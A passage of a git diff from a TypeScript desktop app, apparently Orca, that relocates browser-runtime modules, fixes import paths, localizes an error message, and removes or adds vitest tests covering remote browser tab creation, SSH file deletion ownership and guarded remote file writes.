-      source: null
-    }
-    useAppStore.setState({
-      browserSessionProfilesByHostId: { [HOST]: [profile] },
-      remoteBrowserPageHandlesByPageId: {
-        ...state.remoteBrowserPageHandlesByPageId,
-        [SOURCE.pageId]: {
-          environmentId: ENV,
-          remotePageId: SOURCE.pageId,
-          browserProfileId: 'default'
-        }
-      },
-      browserTabsByWorktree: {
-        [WT]: state.browserTabsByWorktree[WT]!.map((workspace) => ({
-          ...workspace,
-          sessionProfileId: null,
-          sessionPartition: 'persist:remote-default'
-        }))
-      },
-      browserPagesByWorkspace: {
-        ...state.browserPagesByWorkspace,
-        [SOURCE.workspaceId]: state.browserPagesByWorkspace[SOURCE.workspaceId]!.map((page) => ({
-          ...page,
-          url: 'https://example.com/link'
-        }))
-      }
-    })
-    expect(
-      canOfferHttpLinkGroupAction(useAppStore.getState(), {
-        workspaceId: WT,
-        sourceTabId: SOURCE.unifiedTabId,
-        url: 'https://example.com/link',
-        sourceOwner: { kind: 'runtime', runtimeEnvironmentId: ENV }
-      })
-    ).toBe(true)
-    expect(await open(true)).toMatchObject({
-      status: 'opened',
-      result: { browserWorkspaceId: SOURCE.workspaceId, browserPageId: SOURCE.pageId, groupId: G1 }
-    })
-    expect(pendingCreates).toHaveLength(0)
-  })
-
   it('a delivery callback failure cannot unwind a page that already materialized', async () => {
     const call = installRuntimeTransport()
     const creating = createWebRuntimeSessionBrowserTab({
@@ -228,13 +157,4 @@ describe('runtime link opens through staging and materialization', () => {
     expect(await creating).toEqual({ status: 'superseded' })
     expect(wrapperForRemotePage('superseded-host-page')).toBeDefined()
   })
-
-  it('reports the current group after the user moves the staged tab', async () => {
-    const creating = open()
-    const provisional = pendingCreates[0]!.params.page!
-    const staged = wrapperForRemotePage(provisional)!
-    useAppStore.getState().moveUnifiedTabToGroup(staged.id, G1)
-    pendingCreates[0]!.resolve()
-    expect(await creating).toMatchObject({ status: 'opened', result: { groupId: G1 } })
-  })
 })
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-session.test.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-session.test.ts
deleted file mode 100644
index 3e193b641ff..00000000000
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-link-session.test.ts
+++ /dev/null
@@ -1,262 +0,0 @@
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import type * as BrowserFocusModule from '@/components/browser-pane/host-guest/browser-focus'
-import type { RuntimeMobileSessionBrowserTab } from '../../../../../shared/runtime-mobile-session-tab-contracts'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import { getDefaultSettings } from '../../../../../shared/constants'
-import { useAppStore } from '../../../store/index'
-import { openWorkspaceBrowserTabForLink } from '../../../lib/browser/workspace/workspace-browser-tab-open'
-import { selectBrowserLinkDestination } from '../../../lib/browser/navigation/browser-link-destination'
-import { workspaceBrowserLinkDestination } from '../../../lib/browser/workspace/workspace-browser-link-open'
-import { captureLinkOpenIntent } from '../../../lib/link-open-intent'
-import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
-import { TEST_REPO } from '../../../store/repos/repo.test-fixture'
-import { applyWebSessionTabsSnapshot } from '../../web-session-tabs-sync/snapshot-api'
-import type * as SnapshotModule from '../../web-session-tabs-sync/inventory/web-runtime-session-snapshot'
-import {
-  resetWebSessionTabsSyncTestState,
-  ENV,
-  WT,
-  NOW,
-  makeSnapshot
-} from '../../web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
-import {
-  seedPairedWorktree,
-  installRuntimeTransport,
-  pendingCreates,
-  resetHostPages,
-  publishHostSnapshot,
-  wrapperForRemotePage,
-  HOST,
-  SOURCE,
-  AFTER,
-  OTHER
-} from './testing/web-runtime-browser-creation-placement-test-rig'
-
-vi.mock('@/components/browser-pane/host-guest/browser-focus', async (importOriginal) => ({
-  ...(await importOriginal<typeof BrowserFocusModule>()),
-  requestBrowserFocus: vi.fn()
-}))
-vi.mock(
-  '../../web-session-tabs-sync/inventory/web-runtime-session-snapshot',
-  async (importOriginal) => ({
-    ...(await importOriginal<typeof SnapshotModule>()),
-    refreshWebRuntimeSessionTabsSnapshot: vi.fn(async () => publishHostSnapshot())
-  })
-)
-
-let snapshotVersion = 1
-const URL_TO_OPEN = 'https://example.com/link'
-
-beforeEach(() => {
-  resetWebSessionTabsSyncTestState()
-  resetHostPages()
-  seedPairedWorktree()
-  snapshotVersion = 1
-  useAppStore.setState({
-    repos: [{ ...TEST_REPO, id: 'repo', executionHostId: HOST }],
-    worktreesByRepo: {
-      repo: [
-        makeWorktree({
-          id: WT,
-          repoId: 'repo',
-          path: '/worktree',
-          hostId: HOST,
-          runtimeOwnerEnvironmentId: ENV
-        })
-      ]
-    },
-    browserSessionHostIdOverride: 'local',
-    settings: getDefaultSettings('/home/test'),
-    browserSessionProfilesByHostId: {
-      [HOST]: [
-        {
-          id: 'default',
-          scope: 'default' as const,
-          partition: 'persist:remote-default',
-          label: 'Default',
-          source: null
-        }
-      ]
-    }
-  })
-  installRuntimeTransport()
-})
-afterEach(() => {
-  vi.restoreAllMocks()
-  vi.unstubAllGlobals()
-})
-
-function setDefaultProfiles(
-  browserDefaultProfileIdByHostId: Partial<Record<ExecutionHostId, string>>
-): void {
-  const settings = useAppStore.getState().settings!
-  useAppStore.setState({ settings: { ...settings, browserDefaultProfileIdByHostId } })
-}
-
-function open(explicit = false) {
-  return openWorkspaceBrowserTabForLink({
-    workspaceId: WT,
-    url: URL_TO_OPEN,
-    intent: { kind: 'url' },
-    expectedRuntimeEnvironmentId: ENV,
-    placementPreference: 'server',
-    selectWorktree: false,
-    linkContext: {
-      linkIntent: captureLinkOpenIntent(useAppStore.getState(), WT, OTHER.unifiedTabId, {
-        explicitSourceGroup: explicit
-      })
-    }
-  })
-}
-
-function publishProfileSnapshot(profileId: string | undefined): void {
-  const tabs: RuntimeMobileSessionBrowserTab[] = [SOURCE, AFTER, OTHER].map((row) => ({
-    type: 'browser',
-    id: `host-${row.unifiedTabId}`,
-    browserPageId: row.pageId,
-    browserWorkspaceId: row.workspaceId,
-    ...(row === OTHER && profileId ? { browserProfileId: profileId } : {}),
-    title: 'Example',
-    url: row === OTHER ? URL_TO_OPEN : 'https://example.com/',
-    loading: false,
-    canGoBack: false,
-    canGoForward: false,
-    isActive: false
-  }))
-  const snapshot = makeSnapshot(tabs, {
-    snapshotVersion: ++snapshotVersion,
-    activeTabType: 'browser',
-    activeTabId: null
-  })
-  useAppStore.setState((state) =>
-    applyWebSessionTabsSnapshot(state, snapshot, ENV, NOW + snapshotVersion)
-  )
-}
-
-function selectDestination() {
-  const state = useAppStore.getState()
-  return selectBrowserLinkDestination(
-    state,
-    workspaceBrowserLinkDestination(
-      { workspaceId: WT, url: URL_TO_OPEN, intent: { kind: 'url' } },
-      HOST,
-      ENV,
-      HOST
-    ),
-    captureLinkOpenIntent(state, WT, OTHER.unifiedTabId, { explicitSourceGroup: true })
-  )
-}
-
-it.each([
-  { profileId: null, explicit: false },
-  { profileId: 'remote-profile', explicit: false },
-  { profileId: null, explicit: true },
-  { profileId: 'remote-profile', explicit: true }
-])(
-  'opens with the host-confirmed profile ($profileId, explicit target: $explicit)',
-  async ({ profileId, explicit }) => {
-    setDefaultProfiles(profileId ? { [HOST]: profileId } : {})
-    publishProfileSnapshot(profileId ?? 'default')
-    const creating = open(explicit)
-    pendingCreates[0]?.resolve('new-host-page')
-    const outcome = await creating
-    if (explicit) {
-      expect(outcome).toMatchObject({
-        status: 'opened',
-        result: { browserPageId: OTHER.pageId }
-      })
-      return
-    }
-    expect(outcome.status).toBe('opened')
-    if (outcome.status !== 'opened') {
-      throw new Error('Expected opened link')
-    }
-    expect(outcome.result.browserPageId).not.toBe(OTHER.pageId)
-    expect(
-      useAppStore.getState().remoteBrowserPageHandlesByPageId[outcome.result.browserPageId]
-    ).toMatchObject({ remotePageId: 'new-host-page', environmentId: ENV })
-  }
-)
-
-it('updates and clears published profile evidence even when page content stays identical', () => {
-  publishProfileSnapshot('default')
-  expect(selectDestination()).toMatchObject({ match: { browserPageId: OTHER.pageId } })
-  const handles = useAppStore.getState().remoteBrowserPageHandlesByPageId
-  publishProfileSnapshot('default')
-  expect(useAppStore.getState().remoteBrowserPageHandlesByPageId).toBe(handles)
-  publishProfileSnapshot('other-profile')
-  expect(selectDestination()).toMatchObject({ match: null })
-  publishProfileSnapshot('default')
-  expect(selectDestination()).toMatchObject({ match: { browserPageId: OTHER.pageId } })
-  publishProfileSnapshot(undefined)
-  expect(selectDestination()).toMatchObject({ match: null })
-})
-
-it.each(['unchanged', 'different-host', 'different-runtime'] as const)(
-  'validates the captured SSH owner after foreground runtime selection (%s)',
-  async (ownerChange) => {
-    const sshHost = 'ssh:ssh-target'
-    useAppStore.setState((state) => ({
-      activeWorkspaceExecutionHostId: sshHost,
-      repos: state.repos.map((repo) => ({ ...repo, executionHostId: sshHost })),
-      worktreesByRepo: {
-        repo: state.worktreesByRepo.repo!.map((worktree) => ({ ...worktree, hostId: sshHost }))
-      },
-      unifiedTabsByWorktree: {
-        [WT]: state.unifiedTabsByWorktree[WT]!.map((tab) => ({
-          ...tab,
-          executionHostId: sshHost
-        }))
-      }
-    }))
-    vi.spyOn(useAppStore.getState(), 'refreshGitHubForWorktreeIfStale').mockImplementation(
-      () => undefined
-    )
-    const creating = openWorkspaceBrowserTabForLink({
-      workspaceId: WT,
-      url: URL_TO_OPEN,
-      intent: { kind: 'url' },
-      expectedRuntimeEnvironmentId: ENV,
-      placementPreference: 'server',
-      linkContext: {
-        linkIntent: captureLinkOpenIntent(useAppStore.getState(), WT, SOURCE.unifiedTabId)
-      }
-    })
-    expect(pendingCreates).toHaveLength(1)
-    expect(useAppStore.getState().activeWorkspaceExecutionHostId).toBe(HOST)
-    if (ownerChange === 'different-host') {
-      useAppStore.setState((state) => ({
-        activeWorkspaceExecutionHostId: 'ssh:other-target',
-        worktreesByRepo: {
-          repo: [
-            ...state.worktreesByRepo.repo!,
-            ...state.worktreesByRepo.repo!.map((worktree) => ({
-              ...worktree,
-              hostId: 'ssh:other-target' as const
-            }))
-          ]
-        }
-      }))
-    } else if (ownerChange === 'different-runtime') {
-      useAppStore.setState((state) => ({
-        activeWorkspaceExecutionHostId: sshHost,
-        worktreesByRepo: {
-          repo: state.worktreesByRepo.repo!.map((worktree) => ({
-            ...worktree,
-            runtimeOwnerEnvironmentId: 'other-environment'
-          }))
-        }
-      }))
-    }
-    const remotePageId = `foreground-ssh-${ownerChange}`
-    pendingCreates[0]!.resolve(remotePageId)
-    const outcome = await creating
-    expect(wrapperForRemotePage(remotePageId)).toBeDefined()
-    expect(outcome).toMatchObject({
-      status: ownerChange === 'unchanged' ? 'opened' : 'refused'
-    })
-    if (outcome.status === 'opened') {
-      expect(outcome.result).toMatchObject({ worktreeId: WT, executionHostId: sshHost })
-    }
-  }
-)
diff --git a/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts b/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts
index 9502218d9ef..aa8005f3c1d 100644
--- a/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts
+++ b/src/renderer/src/runtime/browser/creation/web-runtime-browser-tab-staging.ts
@@ -4,7 +4,7 @@ import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-sw
 import {
   forgetDesktopCreatedServerTab,
   noteDesktopCreatedServerTab
-} from '@/lib/desktop-created-server-tabs'
+} from '@/store/workspace-layout/frames/desktop-created-server-tabs'
 
 /** Local rows minted for a browser tab whose host create RPC has not answered yet. */
 export type StagedWebRuntimeBrowserTab = {
diff --git a/src/renderer/src/lib/pane-manager/browser-mobile-driver-state.ts b/src/renderer/src/runtime/browser/ownership/browser-mobile-driver-state.ts
similarity index 97%
rename from src/renderer/src/lib/pane-manager/browser-mobile-driver-state.ts
rename to src/renderer/src/runtime/browser/ownership/browser-mobile-driver-state.ts
index 73702d2eb83..2cc98b1ce65 100644
--- a/src/renderer/src/lib/pane-manager/browser-mobile-driver-state.ts
+++ b/src/renderer/src/runtime/browser/ownership/browser-mobile-driver-state.ts
@@ -1,6 +1,6 @@
 import { useSyncExternalStore } from 'react'
 import { recomputeOn } from '@/lib/recompute-on'
-import type { RuntimeTerminalDriverState } from '../../../../shared/runtime-session-contracts'
+import type { RuntimeTerminalDriverState } from '../../../../../shared/runtime-session-contracts'
 
 const driverByBrowserPageId = new Map<string, RuntimeTerminalDriverState>()
 
diff --git a/src/renderer/src/lib/pane-manager/browser-remote-viewer-state.ts b/src/renderer/src/runtime/browser/ownership/browser-remote-viewer-state.ts
similarity index 81%
rename from src/renderer/src/lib/pane-manager/browser-remote-viewer-state.ts
rename to src/renderer/src/runtime/browser/ownership/browser-remote-viewer-state.ts
index 0a9572b11e4..1e1999c3e39 100644
--- a/src/renderer/src/lib/pane-manager/browser-remote-viewer-state.ts
+++ b/src/renderer/src/runtime/browser/ownership/browser-remote-viewer-state.ts
@@ -7,15 +7,6 @@ import {
   subscribeBrowserRemoteViewerSnapshot
 } from './browser-remote-viewer-store'
 
-export {
-  getBrowserRemotelyViewedPageIds,
-  hasRemoteViewerForAnyBrowserPage,
-  hydrateBrowserRemoteViewerPages,
-  isBrowserPageRemotelyViewed,
-  onBrowserRemoteViewerChange,
-  setRemoteViewersForBrowserPage
-} from './browser-remote-viewer-store'
-
 function getServerSnapshot(): number {
   return 0
 }
diff --git a/src/renderer/src/lib/pane-manager/browser-remote-viewer-store.ts b/src/renderer/src/runtime/browser/ownership/browser-remote-viewer-store.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/browser-remote-viewer-store.ts
rename to src/renderer/src/runtime/browser/ownership/browser-remote-viewer-store.ts
diff --git a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-environment-check.test.ts b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-environment-check.test.ts
index 95fcda5e62a..918077634f8 100644
--- a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-environment-check.test.ts
+++ b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-environment-check.test.ts
@@ -97,11 +97,4 @@ describe('gateVmCreateOnEnvironmentCheck', () => {
     await expect(gate).resolves.toBe(false)
     expect(signal?.aborted).toBe(true)
   })
-
-  it('skips the checks on a VM server that predates them', async () => {
-    supportsCapability.mockResolvedValue(false)
-    await expect(gateVmCreateOnEnvironmentCheck('c1', 'env-1', '/w')).resolves.toBe(true)
-    expect(callRuntimeRpc).not.toHaveBeenCalled()
-    expect(store.entries.c1.environmentCheck?.status).toBe('skipped')
-  })
 })
diff --git a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts
index f2c77750b28..b6bc154d3d5 100644
--- a/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts
+++ b/src/renderer/src/runtime/ephemeral-vm/ephemeral-vm-workspace-target.ts
@@ -93,7 +93,10 @@ export async function prepareEphemeralVmWorkspaceTarget(
         await assertRuntimeEnvironmentCapability(
           environmentId,
           WORKTREE_PROVISIONED_ROOT_RUNTIME_CAPABILITY,
-          'The Orca server on this VM cannot adopt a provisioned root. Update Orca on the VM.'
+          translate(
+            'auto.lib.ephemeralVm.provisionedRootNeedsUpdate',
+            'The Orca server on this VM cannot adopt a provisioned root. Update Orca on the VM.'
+          )
         )
       }
     } catch (error) {
diff --git a/src/renderer/src/runtime/files/mutations/file-explorer-delete-owner-provenance.test.ts b/src/renderer/src/runtime/files/mutations/file-explorer-delete-owner-provenance.test.ts
index ab70ba55ed1..7803581f18d 100644
--- a/src/renderer/src/runtime/files/mutations/file-explorer-delete-owner-provenance.test.ts
+++ b/src/renderer/src/runtime/files/mutations/file-explorer-delete-owner-provenance.test.ts
@@ -245,53 +245,4 @@ describe('file explorer deletion owner provenance', () => {
     )
     expect(fsDeletePath).not.toHaveBeenCalled()
   })
-
-  it('fails closed when an exact worktree ID belongs to multiple hosts', async () => {
-    useAppStore.setState({
-      repos: duplicateHostRepos(),
-      worktreesByRepo: {
-        [LOCAL_REPO_ID]: [makeWorktree('local'), makeWorktree(`ssh:${SSH_ID}`)]
-      }
-    })
-    const owner = getFileExplorerOperationOwner(LOCAL_WORKTREE_ID)
-    expect(owner).toEqual({ kind: 'unresolved' })
-
-    const { result } = renderDelete(LOCAL_WORKTREE_ID)
-    await requestDelete(result, localNode, owner)
-
-    await vi.waitFor(() => expect(toastError).toHaveBeenCalled())
-    expect(fsReadFile).not.toHaveBeenCalled()
-    expect(fsDeletePath).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-
-  it('keeps an explicit local worktree local when duplicate repo IDs include SSH', async () => {
-    useAppStore.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      repos: duplicateHostRepos(),
-      worktreesByRepo: { [LOCAL_REPO_ID]: [makeWorktree('local')] }
-    })
-    const owner = getFileExplorerOperationOwner(LOCAL_WORKTREE_ID)
-    expect(owner).toEqual({ kind: 'local' })
-
-    const { result } = renderDelete(LOCAL_WORKTREE_ID)
-    await requestDelete(result, localNode, owner)
-
-    await vi.waitFor(() =>
-      expect(fsDeletePath).toHaveBeenCalledWith({
-        targetPath: localNode.path,
-        connectionId: undefined,
-        expectedExecutionHostId: 'local',
-        recursive: false
-      })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
 })
-
-function duplicateHostRepos(): Repo[] {
-  return [
-    makeRepo({ id: LOCAL_REPO_ID, path: '/tmp/project', executionHostId: 'local' }),
-    makeRepo({ id: LOCAL_REPO_ID, path: '/home/user/project', connectionId: SSH_ID })
-  ]
-}
diff --git a/src/renderer/src/runtime/files/mutations/remote-host-file-delete-repro.test.ts b/src/renderer/src/runtime/files/mutations/remote-host-file-delete-repro.test.ts
deleted file mode 100644
index 6c3d4741864..00000000000
--- a/src/renderer/src/runtime/files/mutations/remote-host-file-delete-repro.test.ts
+++ /dev/null
@@ -1,182 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types'
-import type { ProjectGroup } from '../../../../../shared/project-group-types'
-import type { Repo } from '../../../../../shared/repo-types'
-import { useAppStore } from '@/store/index'
-import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
-import { useFileDeletion } from '@/components/right-sidebar/file-explorer/mutations/useFileDeletion'
-import { getFileExplorerOperationOwner } from '@/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner'
-import type { TreeNode } from '@/components/right-sidebar/file-explorer/tree/file-explorer-types'
-import { createCompatibleRuntimeStatusResponseIfNeeded } from '@/runtime/rpc/testing/runtime-compatibility-test-fixture'
-
-const { confirm, toastError } = vi.hoisted(() => ({
-  confirm: vi.fn(),
-  toastError: vi.fn()
-}))
-const fsReadFile = vi.fn()
-const fsDeletePath = vi.fn()
-const runtimeEnvironmentCall = vi.fn()
-
-vi.mock('@/components/confirmation-dialog-context', () => ({
-  useConfirmationDialog: () => confirm
-}))
-vi.mock('@/hooks/useShortcutLabel', () => ({ useShortcutLabel: () => 'Delete' }))
-vi.mock('@/components/editor/autosave/editor-autosave', () => ({
-  requestEditorFileSave: vi.fn().mockResolvedValue(undefined),
-  requestEditorSaveQuiesce: vi.fn().mockResolvedValue(undefined)
-}))
-vi.mock('@/components/right-sidebar/file-explorer/mutations/fileExplorerUndoRedo', () => ({
-  commitFileExplorerOp: vi.fn()
-}))
-vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
-vi.mock('sonner', () => ({ toast: { error: toastError } }))
-
-const initialState = useAppStore.getInitialState()
-const SSH_CONNECTION_ID = 'ssh-target-1'
-const REMOTE_PATH = '/home/user/project/src/index.ts'
-const FOLDER_WORKSPACE_ID = 'folder-workspace-1'
-
-function makeFolderWorkspace(overrides: Partial<FolderWorkspace> = {}): FolderWorkspace {
-  return {
-    id: FOLDER_WORKSPACE_ID,
-    projectGroupId: 'group-1',
-    name: 'Remote workspace',
-    folderPath: '/home/user/project',
-    connectionId: null,
-    linkedTask: null,
-    comment: '',
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 1,
-    lastActivityAt: 0,
-    createdAt: 1,
-    updatedAt: 1,
-    ...overrides
-  }
-}
-
-function makeProjectGroup(overrides: Partial<ProjectGroup> = {}): ProjectGroup {
-  return {
-    id: 'group-1',
-    name: 'Remote workspace',
-    parentPath: '/home/user/project',
-    connectionId: null,
-    parentGroupId: null,
-    createdFrom: 'folder-scan',
-    tabOrder: 0,
-    isCollapsed: false,
-    color: null,
-    createdAt: 1,
-    updatedAt: 1,
-    ...overrides
-  }
-}
-
-function makeRepo(overrides: Partial<Repo> & { id: string; path: string }): Repo {
-  return {
-    displayName: overrides.id,
-    badgeColor: '#000',
-    addedAt: 0,
-    ...overrides
-  }
-}
-
-const remoteFile: TreeNode = {
-  name: 'index.ts',
-  path: REMOTE_PATH,
-  relativePath: 'src/index.ts',
-  isDirectory: false,
-  depth: 0,
-  operationOwner: { kind: 'ssh', connectionId: SSH_CONNECTION_ID }
-}
-
-function renderDelete(activeWorktreeId: string) {
-  return renderHook(() =>
-    useFileDeletion({
-      activeWorktreeId,
-      openFiles: [],
-      closeFile: vi.fn(),
-      refreshDir: vi.fn().mockResolvedValue(undefined),
-      setSelectedPaths: vi.fn(),
-      isWindows: false
-    })
-  )
-}
-
-beforeEach(() => {
-  confirm.mockReset().mockResolvedValue(true)
-  fsReadFile.mockReset().mockResolvedValue({ content: 'remote', isBinary: false })
-  fsDeletePath.mockReset().mockResolvedValue(undefined)
-  runtimeEnvironmentCall.mockReset()
-  runtimeEnvironmentCall.mockImplementation((args: { method: string; selector?: string }) => {
-    const runtimeId = args.selector ?? 'env-1'
-    return (
-      createCompatibleRuntimeStatusResponseIfNeeded(args, runtimeId) ?? {
-        id: 'rpc-1',
-        ok: true,
-        result: null,
-        _meta: { runtimeId }
-      }
-    )
-  })
-  toastError.mockReset()
-  vi.stubGlobal('window', {
-    ...window,
-    api: {
-      fs: { readFile: fsReadFile, deletePath: fsDeletePath },
-      runtime: { call: vi.fn() },
-      runtimeEnvironments: { call: runtimeEnvironmentCall, subscribe: vi.fn() }
-    }
-  })
-})
-
-afterEach(() => {
-  useAppStore.setState(initialState, true)
-  vi.unstubAllGlobals()
-})
-
-describe('issue #8135: deleting a remote SSH folder file', () => {
-  it('fails closed for an ambiguous folder even when a runtime is focused', async () => {
-    useAppStore.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      folderWorkspaces: [makeFolderWorkspace()],
-      projectGroups: [makeProjectGroup()],
-      repos: [
-        makeRepo({
-          id: 'repo-local',
-          path: '/home/user/project/local',
-          projectGroupId: 'group-1'
-        }),
-        makeRepo({
-          id: 'repo-ssh',
-          path: '/home/user/project',
-          connectionId: SSH_CONNECTION_ID,
-          projectGroupId: 'group-1'
-        })
-      ],
-      worktreesByRepo: {}
-    })
-    const operationOwner = getFileExplorerOperationOwner(folderWorkspaceKey(FOLDER_WORKSPACE_ID))
-    expect(operationOwner).toEqual({ kind: 'unresolved' })
-
-    const { result } = renderDelete(folderWorkspaceKey(FOLDER_WORKSPACE_ID))
-
-    await act(async () => {
-      result.current.requestDelete({ ...remoteFile, operationOwner })
-    })
-
-    await vi.waitFor(() => {
-      expect(toastError).toHaveBeenCalledWith(
-        "Couldn't determine which host owns this file. Check the workspace connection and try again."
-      )
-    })
-    expect(fsReadFile).not.toHaveBeenCalled()
-    expect(fsDeletePath).not.toHaveBeenCalled()
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(confirm).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/runtime/files/mutations/runtime-file-write-disk-precondition.test.ts b/src/renderer/src/runtime/files/mutations/runtime-file-write-disk-precondition.test.ts
index 04602942916..2b11191c7d5 100644
--- a/src/renderer/src/runtime/files/mutations/runtime-file-write-disk-precondition.test.ts
+++ b/src/renderer/src/runtime/files/mutations/runtime-file-write-disk-precondition.test.ts
@@ -88,46 +88,6 @@ function writeCalls(): RuntimeRpcRequest[] {
 }
 
 describe('writeRuntimeFile disk precondition', () => {
-  it('refuses without writing when an older host holds newer disk content', async () => {
-    serveHost({ enforcesPrecondition: false, diskContent: 'agent rewrite' })
-
-    const result = await writeRuntimeFile(
-      remoteContext,
-      '/remote/repo/file.ts',
-      'edited',
-      undefined,
-      precondition
-    )
-
-    expect(result).toEqual({ ok: false, diskConflict: 'changed' })
-    expect(writeCalls()).toHaveLength(0)
-  })
-
-  it.each(['original', 'edited'])(
-    'skips identical content on a v1 guarded host for an automatic save (baseline %s)',
-    async (baseline) => {
-      serveHost({ enforcesPrecondition: true, identicalNoop: false, diskContent: 'edited' })
-      expect(
-        await writeRuntimeFile(remoteContext, '/remote/repo/file.ts', 'edited', undefined, {
-          expectedSignature: getDiskBaselineSignature(baseline),
-          requireLosslessUtf8: true
-        })
-      ).toEqual({ ok: true, unchanged: true })
-      expect(writeCalls()).toHaveLength(0)
-    }
-  )
-
-  it('refuses an ambiguous automatic baseline before sending to a v1 host', async () => {
-    serveHost({ enforcesPrecondition: true, identicalNoop: false, diskContent: 'a�' })
-    expect(
-      await writeRuntimeFile(remoteContext, '/remote/repo/file.ts', 'a�', undefined, {
-        expectedSignature: getDiskBaselineSignature('a�'),
-        requireLosslessUtf8: true
-      })
-    ).toEqual({ ok: false, diskConflict: 'not-utf8' })
-    expect(writeCalls()).toHaveLength(0)
-  })
-
   it('refuses to send when the runtime connection changes after the probe', async () => {
     serveHost({
       enforcesPrecondition: false,
@@ -141,26 +101,6 @@ describe('writeRuntimeFile disk precondition', () => {
     expect(writeCalls()).toHaveLength(0)
   })
 
-  it('keeps the save when the guarded write landed but its reply timed out', async () => {
-    serveHost({ enforcesPrecondition: true, diskContent: 'edited' })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc',
-      ok: false,
-      error: { code: 'runtime_timeout', message: 'Timed out waiting for the remote Orca runtime' },
-      _meta: { runtimeId: 'remote-runtime' }
-    })
-
-    const result = await writeRuntimeFile(
-      remoteContext,
-      '/remote/repo/file.ts',
-      'edited',
-      undefined,
-      precondition
-    )
-
-    expect(result).toEqual({ ok: true })
-  })
-
   it('does not take a re-paired host holding the text as proof a lost write landed', async () => {
     replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 1, pairingRevision: 1 }])
     serveHost({ enforcesPrecondition: true, diskContent: 'edited' })
@@ -182,43 +122,4 @@ describe('writeRuntimeFile disk precondition', () => {
       writeRuntimeFile(remoteContext, '/remote/repo/file.ts', 'edited', undefined, precondition)
     ).rejects.toThrow('Timed out')
   })
-
-  it('still fails a timed-out guarded write whose content is not on disk', async () => {
-    serveHost({ enforcesPrecondition: true, diskContent: 'original' })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc',
-      ok: false,
-      error: { code: 'runtime_timeout', message: 'Timed out waiting for the remote Orca runtime' },
-      _meta: { runtimeId: 'remote-runtime' }
-    })
-
-    await expect(
-      writeRuntimeFile(remoteContext, '/remote/repo/file.ts', 'edited', undefined, precondition)
-    ).rejects.toThrow('Timed out')
-  })
-
-  it('recovers when the transport refused to send to a replacement runtime', async () => {
-    serveHost({ enforcesPrecondition: true })
-    runtimeEnvironmentCall
-      .mockResolvedValueOnce({
-        id: 'files.writeIfUnchanged',
-        ok: false,
-        error: {
-          code: 'runtime_environment_changed',
-          message: 'Runtime environment identity changed; refresh and try again'
-        },
-        _meta: { runtimeId: 'remote-runtime' }
-      })
-      .mockResolvedValue(rpcOk({ ok: true }))
-
-    const result = await writeRuntimeFile(
-      remoteContext,
-      '/remote/repo/file.ts',
-      'edited',
-      undefined,
-      precondition
-    )
-
-    expect(result).toEqual({ ok: true })
-  })
 })
diff --git a/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.test.ts b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.test.ts
new file mode 100644
index 00000000000..6dd20485654
--- /dev/null
+++ b/src/renderer/src/runtime/files/reads/runtime-file-default-app-open.test.ts
@@ -0,0 +1,204 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { openRuntimeFileWithDefaultApp } from './runtime-file-default-app-open'
+import {
+  fsAppendDownloadedFileChunk,
+  fsDownloadFile,
+  fsFinishDownloadedFile,
+  fsStartDownloadedFile,
+  installRuntimeFileClientEnvironment,
+  runtimeEnvironmentCall,
+  runtimeEnvironmentTransportCall
+} from '../runtime-file-client-test-harness'
+import { TERMINAL_ARTIFACT_CHUNK_RUNTIME_CAPABILITY } from '../../../../../shared/file-access/files-runtime-capabilities'
+import {
+  MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION,
+  RUNTIME_PROTOCOL_VERSION
+} from '../../../../../shared/protocol-version'
+
+installRuntimeFileClientEnvironment()
+
+const openFilePath = vi.fn()
+
+function fieldOf(value: unknown, key: string): unknown {
+  return typeof value === 'object' && value !== null
+    ? Object.entries(value).find(([name]) => name === key)?.[1]
+    : undefined
+}
+
+beforeEach(() => {
+  openFilePath.mockReset()
+  openFilePath.mockResolvedValue(true)
+  Object.assign(window.api, { shell: { openFilePath } })
+})
+
+describe('openRuntimeFileWithDefaultApp', () => {
+  it('opens a file on this computer in place', async () => {
+    await expect(
+      openRuntimeFileWithDefaultApp({ target: { kind: 'local' }, filePath: '/repo/report.docx' })
+    ).resolves.toBe(true)
